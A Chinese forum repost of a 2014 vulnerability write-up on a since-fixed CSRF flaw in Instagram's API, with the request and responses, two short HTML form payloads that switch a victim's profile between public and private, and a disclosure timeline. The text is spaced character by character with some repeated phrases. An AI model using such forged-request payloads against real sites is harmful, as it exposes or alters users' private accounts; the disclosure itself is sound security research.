搜索

[7828] 2014-02-27_走近科学：我是如何入侵Instagram查看你的私人片片的

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-17
2014-02-27_走近科学：我是如何入侵Instagram查看你的私人片片的 走 近 科 学 ： 我 是 如 何 入 侵 I n s t a g r a m 查 看 你 的 私 人 片 片 的 F r e e B u f   2 0 1 4 - 0 2 - 2 7 在 这 篇 文 章 中 ， 我 想 介 绍 几 个 月 前 我 在 在 这 篇 文 章 中 ， 我 想 介 绍 几 个 月 前 我 在 I n s t a g r a m 站 点 和 移 动 应 用 中 发 现 的 一 个 漏 洞 （ 现 在 已 被 修 复 好 了 ） 。 站 点 和 移 动 应 用 中 发 现 的 一 个 漏 洞 （ 现 在 已 被 修 复 好 了 ） 。 I n s t a g r a m 又 是 什 么 ？ 又 是 什 么 ？ 维 基 百 科 这 样 介 绍 ： “ I n s t a g r a m 是 一 个 在 线 图 片 分 享 、 视 频 共 享 和 社 交 网 络 服 务 的 网 站 ， 允 许 用 户 将 拍 摄 的 照 片 和 视 频 ， 通 过 应 用 数 字 滤 波 器 分 享 到 他 们 各 种 各 样 的 社 交 网 络 ， 如 F a c e b o o k 、 T w i t t e r 、 T u m b l r 和 F l i c k r 。   它 的 一 个 独 特 的 性 质 是 它 将 照 片 规 范 为 正 方 形 形 状 ！ 像 那 种 类 似 于 柯 达 傻 瓜 相 机 ( K o d a k   I n s t a m a t i c ) 和 宝 丽 莱 （ P o l a r o i d ） 照 片 。 与 宽 高 1 6 : 9 的 现 在 通 常 使 用 的 移 动 相 机 形 成 鲜 明 对 比 。   同 时 ， 用 户 也 能 够 记 录 和 分 享 持 续 1 5 秒 的 短 视 频 。 ” 总 结 ： 总 结 ： I n s t a g r a m 的 A P I 某 些 行 为 容 易 受 到 跨 站 点 伪 造 请 求 （ C S R F   ) 攻 击 。   攻 击 者 可 以 执 行 用 户 ( 受 害 者 ) 在 w e b 应 用 程 序 正 在 进 行 的 身 份 验 证 。   一 个 成 功 的 C S R F 利 用 可 以 通 过 他 的 I n s t a g r a m 文 件 弄 到 到 用 户 的 个 人 数 据 ( 如 照 片 和 个 人 信 息 ) 。 介 绍 ： 介 绍 ： 几 个 月 前 ， 我 在 I n s t a g r a m 的 平 台 寻 找 它 的 安 全 漏 洞 。 我 猜 测 网 站 已 经 被 审 核 了 ， 是 安 全 的 。 所 以 我 把 我 努 力 的 重 点 放 在 了 I n s t a g r a m 的 移 动 应 用 程 序 中 ( i O S 和 A n d r o i d ) 。 首 先 ， 我 把 抓 取 的 所 有 资 源 用 来 检 测 并 寻 找 应 用 程 序 的 新 的 攻 击 点 ， 还 测 试 了 典 型 的 安 全 漏 洞 ， 像 跨 站 点 脚 本 或 代 码 注 入 ， 但 是 这 一 次 ， 我 没 有 发 现 任 何 空 点 来 允 许 我 注 入 代 码 （ T T ） 。 我 研 究 的 第 二 步 是 通 过 站 点 比 较 两 个 移 动 应 用 ( A n d r o i d 和 i O S ) ， 以 便 找 到 不 同 的 请 求 和 行 为 ， 通 过 两 者 互 换 利 用 。 经 过 整 个 站 点 的 勘 测 后 ， 我 意 识 到 ， 与 移 动 应 用 程 序 不 同 的 是 ， 在 网 站 上 用 户 不 能 改 变 他 的 个 人 资 料 的 隐 私 。 下 面 图 片 显 示 的 是 我 指 的 差 异 ：

它 是 如 何 工 作 的 ? 我 集 中 我 的 精 力 在 A n d r o i d 应 用 程 序 的 这 一 部 分 ， 我 决 定 研 究 如 何 请 求 用 户 公 开 他 的 个 人 资 料 。   这 个 请 求 是 : P O S T   / a p i / v 1 / a c c o u n t s / s e t _ p u b l i c /   H T T P / 1 . 1 H o s t :   i n s t a g r a m . c o m U s e r - A g e n t :   I n s t a g r a m   5 . 0 . 6   A n d r o i d   ( 1 9 / 4 . 4 . 2 ;   2 1 3 d p i ;   8 0 0 x 1 2 0 5 ; a s u s / g o o g l e ;   N e x u s   7 ;   g r o u p e r ;   g r o u p e r ;   e n _ U S ) 和 它 的 J S O N 响 应 : { " s t a t u s " : " o k " , " u s e r { " u s e r n a m e " : " p h r 0 n a k " , " p r o f i l e _ p i c _ u r l " : " h t t p : / / i m a g e s . a k . i n s t a g r a m . c o m / p r o f i l e s / p r o f i l e _ 1 2 4 1 4 6 8 1 _ 7 5 s q _ 1 3 2 0 3 6 0 5 6 3 . j p g " , " b i o g r a p h y " : " " , " f u l l _ n a m e " : " C h r i s t i a n " , " p k " : 1 2 4 1 4 6 8 1 , " i s _ p r i v a t e " : f a l s e , " e x t e r n a l _ u r l " : " h t t p : / / i n s e r t c o . i n " } } 正 如 你 可 能 已 经 注 意 到 了 ， 在 过 去 的 用 户 请 求 中 ， 移 动 应 用 程 序 不 使 用 任 何 像 秘 密 安 全 令 牌 机 制 一 样 的 东 西 防 止 像 C S R F 类 的 攻 击 。 重 要 的 是 ， 由 于 没 有 很 多 可 以 使 用 空 间 ， 利 用 跨 站 点 伪 造 对 移 动 应 用 程 序 的 请 求 是 非 常 困 难 的 。   又 因 为 在 我 的 测 试 中 我 意 识 到 ， I n s t a g r a m 的 A P I 没 有 控 制 用 户 在 s e t _ p u b l i c   和   s e t _ p r i v a t e   实 现 和 行 为 中 的 用 户 代 理 请 求 。 出 于 这 个 原 因 ， 我 决 定 测 试 w e b 应 用 程 序 这 个 潜 在 的 弱 点 ，   接 下 来 ， 我 要 做 的 是 编 写 一 个 简 单 的 C S R F 理 念 的 验 证 ， 如 下 ： < h t m l >  
    < b o d y >           < f o r m   a c t i o n =   " h t t p : / / i n s t a g r a m . c o m / a p i / v 1 / a c c o u n t s / s e t _ p u b l i c / "   m e t h o d =   " P O S T "   >               < i n p u t   t y p e =   " s u b m i t "   v a l u e =   " S u b m i t   f o r m "   / >           < / f o r m >       < / b o d y > < / h t m l > 理 念 验 证 已 准 备 好 了 ， 我 测 试 它 对 另 一 个 私 人 用 户 配 置 文 件 。   我 吃 惊 的 是 当 我 看 到 用 户 请 求 正 常 工 作 时 ， 我 确 定 C S R F 攻 击 完 全 成 功 了 ！ 用 户 的 配 置 文 件 被 设 置 为 公 开 了 。 这 理 念 证 明 的 先 前 反 应 是 ： { " s t a t u s " : " o k " , " u s e r { " u s e r n a m e " : " p h r 0 n a k " , " p r o f i l e _ p i c _ u r l " : " h t t p : / / i m a g e s . a k . i n s t a g r a m . c o m / p r o f i l e s / p r o f i l e _ 1 2 4 1 4 6 8 1 _ 7 5 s q _ 1 3 2 0 3 6 0 5 6 3 . j p g " , " b i o g r a p h y " : " " , " f u l l _ n a m e " : " C h r i s t i a n " , " p k " : 1 2 4 1 4 6 8 1 , " i s _ p r i v a t e " : f a l s e , " e x t e r n a l _ u r l " : " h t t p : / / i n s e r t c o . i n " } } 在 这 一 点 上 ， 我 可 以 通 过 点 击 我 的 C S R F 负 载 将 任 何 一 个 受 害 者 I n s t a g r a m 用 户 配 置 文 件 设 置 为 公 开 。   但 我 想 要 更 多 ， 所 以 我 使 用 同 样 的 方 法 将 它 设 置 为 私 有 的 配 置 文 件 。 使 用 前 面 的 理 念 验 证 ， 只 改 变 来 自   s e t _ p u b l i c   和   s e t _ p r i v a t e   的 U R L 活 动 ， 我 就 可 以 将 任 何 用 户 配 置 的 文 件 设 为 私 有 。 < h t m l >       < b o d y >         < f o r m   a c t i o n =   " h t t p : / / i n s t a g r a m . c o m / a p i / v 1 / a c c o u n t s / s e t _ p r i v a t e / "   m e t h o d =   " P O S T "   >             < i n p u t   t y p e =   " s u b m i t "   v a l u e =   " S u b m i t   f o r m "   / >         < / f o r m >       < / b o d y > < / h t m l > 反 回 是 ： { " s t a t u s " : " o k " , " u s e r { " u s e r n a m e " : " p h r 0 n a k " , " p r o f i l e _ p i c _ u r l " : " h t t p : / / i m a g e s . a k . i n s t a g r a m . c o m / p r o f i l e s / p r o f i l e _ 1 2 4 1 4 6 8 1 _ 7 5 s q _ 1 3 2 0 3 6 0 5 6 3 . j p g " , " b i o g r a p h y " : " " , " f u l l _ n a m e " : " C h r i s t i a n " , " p k " : 1 2 4 1 4 6 8 1 , " i s _ p r i v a t e " : t r u e , " e x t e r n a l _ u r l " : " h t t p : / / i n s e r t c o . i n " } } 鉴 于 I n s t a g r a m 没 有 使 用 任 何 安 全 机 制 来 阻 止 C S R F 攻 击 ， 有 可 能 利 用 这 些 简 单 的 概 念 来 改 变 任 何 受 害 者 的 用 户 隐 私 。 重 要 的 是 ， 由 于 I n s t a g r a m 没 有 使 用 c s r f 全 令 牌 ， 也 没 有 检 测 是 否 来 自 移 动 应 用 的 代 理 请 求 。 不 得 不 再 次 提 到 该 漏 洞 完 全 可 以 在 一 个 真 实 的 场 景 ( w e b 应 用 程 序 ) 中 被 利 用 。 I N S T A G R A M   /   F A C E B O O K 如 何 处 理 这 个 问 题 呢 ? 不 幸 的 是 ， 在 使 用 W e b   A P I 的 现 有 的 移 动 应 用 程 序 中 实 现 C S R F 非 常 不 容 易 的 ， 因 为 应 用 程 序 有 旧 客 户 端 没 有 发 送 正 确 的 验 证 ， 这 是 不 会 立 即 锁 定 的 重 要 原 因 。 但 是 从 现 在 起 ， 所 有 新 会 话 在 登 陆 的 时 候 会 区 分 移 动 客 户 端 和 w e b 端 。 以 便 网 络 会 话 可 以 完 全 启 用 C S R F 保 护 ， 移 动 端 的 会 话 也 会 有 一 个 秘 密 安 全 令 牌 。
所 以 ， 此 刻 ， 任 何 一 个 试 图 调 用 的 A P I 只 允 许 用 于 移 动 应 用 响 应 此 请 求 的 将 是 一 个 结 果 ： { " s t a t u s " : " f a i l " , " m e s s a g e " : " l o g i n _ r e q u i r e d ” } 披 露 时 间 表 2 0 1 3 年 8 月 2 2 日 ： 理 念 证 明 被 发 送 到 F a c e b o o k 的 初 次 报 告 。 2 0 1 3 年 8 月 2 8 日 ： F a c e b o o k 上 获 悉 ， 该 漏 洞 已 通 知 到 I n s t a g r a m 的 开 发 团 队 。 2 0 1 3 年 9 月 6 日 ： 来 自 F a c e b o o k 的 响 应 ， 要 求 确 认 该 问 题 已 得 到 解 决 。 2 0 1 3 年 9 月 6 日 ， 得 到 F a c e b o o k 回 复 ， 确 认 修 复 。 2 0 1 3 年 9 月 1 6 日 ， F a c e b o o k 的 新 报 告 ， 理 念 验 证 绕 过 去 的 初 始 定 位 。 二 ○ 一 三 年 九 月 三 十 零 日 ： 来 自 F a c e b o o k 的 响 应 ， 通 知 有 关 的 b u g 赏 金 奖 励 的 详 细 信 息 。 二 ○ 一 三 年 十 二 月 十 六 日 ： F a c e b o o k 的 发 送 B u g 的 赏 金 奖 励 。 2 0 1 4 年 1 月 2 3 日 ： 向 F a c e b o o k 报 道 一 些 奇 怪 的 行 为 ， 在 他 们 的 第 二 个 修 正 中 可 能 有 一 个 新 绕 行 。 2 0 1 4 年 2 月 4 日 ： 来 自 F a c e b o o k 回 应 ， 确 认 申 请 ， 终 于 被 正 确 修 补 。 2 0 1 4 年 2 月 4 日 ： 报 告 就 此 结 束 。 参 考 参 考 h t t p s : / / w w w . i n s t a g r a m . c o m h t t p : / / e n . w i k i p e d i a . o r g / w i k i / I n s t a g r a m h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / C r o s s - S i t e _ R e q u e s t _ F o r g e r y _ （ C S R F ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理